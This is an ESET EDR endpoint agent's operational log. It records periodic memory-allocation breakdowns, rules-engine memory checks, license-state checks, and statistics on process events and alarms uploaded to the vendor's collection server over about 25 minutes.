2026-03-04 02:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1716 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; TcpIpConnectionsManager: 530 KB; rules::ProcessConditionsCache: 250 KB; BaseEvent: 206 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 54 KB; cloudutils::CloudData: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66114 KB;
2026-03-04 02:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2079 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 527 KB; BaseEvent: 398 KB; rules::ProcessConditionsCache: 239 KB; BatchSerializer::EventsQueueTag: 104 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66710 KB;
2026-03-04 02:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2442 KB; BaseEvent: 577 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 227 KB; BatchSerializer::EventsQueueTag: 151 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67261 KB;
2026-03-04 02:46:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:42:45, To:, 2026-03-04 02:46:53, Duration (s):, 248, Events Per Second:, 16.391, Events:, 4080, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3322, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452261
2026-03-04 02:46:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 02:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1285 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 214 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; BaseEvent: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 2 KB; BatchStringTag: 0 KB; Total: 65386 KB;
2026-03-04 02:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1646 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 203 KB; BaseEvent: 186 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 48 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66026 KB;
2026-03-04 02:48:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:48:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:48:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:48:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2007 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 527 KB; BaseEvent: 364 KB; rules::ProcessConditionsCache: 192 KB; ModuleInfoCache: 103 KB; BatchSerializer::EventsQueueTag: 95 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66615 KB;
2026-03-04 02:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2369 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 583 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 542 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 181 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67161 KB;
2026-03-04 02:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2736 KB; BaseEvent: 724 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 586 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 188 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67755 KB;
2026-03-04 02:51:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:46:53, To:, 2026-03-04 02:51:01, Duration (s):, 248, Events Per Second:, 16.533, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3386, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 728, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456920
2026-03-04 02:51:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s061ms.
2026-03-04 02:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1603 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 586 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 166 KB; BaseEvent: 156 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 40 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65895 KB;
2026-03-04 02:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1963 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 607 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 332 KB; rules::ProcessConditionsCache: 150 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66481 KB;
2026-03-04 02:53:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:53:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:53:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:53:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2325 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 610 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 514 KB; rules::ProcessConditionsCache: 144 KB; BatchSerializer::EventsQueueTag: 134 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67067 KB;
2026-03-04 02:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2683 KB; BaseEvent: 687 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 610 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 179 KB; rules::ProcessConditionsCache: 128 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67632 KB;
2026-03-04 02:55:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:51:01, To:, 2026-03-04 02:55:14, Duration (s):, 253, Events Per Second:, 16.274, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3390, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 728, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457509
2026-03-04 02:55:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s375ms.
2026-03-04 02:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 597 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 122 KB; rules::ProcessConditionsCache: 121 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65741 KB;
2026-03-04 02:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1885 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 600 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 299 KB; rules::ProcessConditionsCache: 105 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 78 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66314 KB;
2026-03-04 02:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2244 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 600 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 476 KB; BatchSerializer::EventsQueueTag: 124 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 88 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66880 KB;
2026-03-04 02:58:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:58:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:58:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:58:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2605 KB; BaseEvent: 654 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 171 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 75 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67454 KB;
2026-03-04 02:59:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:55:13, To:, 2026-03-04 02:59:26, Duration (s):, 253, Events Per Second:, 16.253, Events:, 4113, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3387, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456155
2026-03-04 02:59:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s410ms.
2026-03-04 02:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1448 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 603 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 521 KB; ModuleInfoCache: 103 KB; BaseEvent: 88 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 61 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65568 KB;
2026-03-04 03:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1896 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 609 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 284 KB; rules::ProcessConditionsCache: 128 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 77 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66345 KB;
2026-03-04 03:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2257 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 608 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 460 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::ProcessConditionsCache: 123 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66924 KB;
2026-03-04 03:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2620 KB; BaseEvent: 638 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 612 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 170 KB; rules::ProcessConditionsCache: 117 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67508 KB;
2026-03-04 03:03:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:03:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:03:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:03:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:03:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:59:25, To:, 2026-03-04 03:03:26, Duration (s):, 241, Events Per Second:, 17.180, Events:, 4141, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3441, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 697, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462311
2026-03-04 03:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:03:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s393ms.
2026-03-04 03:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 612 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 108 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BaseEvent: 82 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65700 KB;
2026-03-04 03:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1885 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 613 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 262 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 95 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66272 KB;
2026-03-04 03:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2251 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 600 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 443 KB; BatchSerializer::EventsQueueTag: 115 KB; ModuleInfoCache: 103 KB; rules::ProcessConditionsCache: 94 KB; CacheEntry: 87 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66851 KB;
2026-03-04 03:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2607 KB; BaseEvent: 620 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 516 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 63 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67400 KB;
2026-03-04 03:07:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:03:25, To:, 2026-03-04 03:07:38, Duration (s):, 253, Events Per Second:, 16.225, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455505
2026-03-04 03:07:40 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s088ms.
2026-03-04 03:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1379 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 519 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BaseEvent: 49 KB; rules::ProcessConditionsCache: 41 KB; cloudutils::CloudData: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65429 KB;
2026-03-04 03:08:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
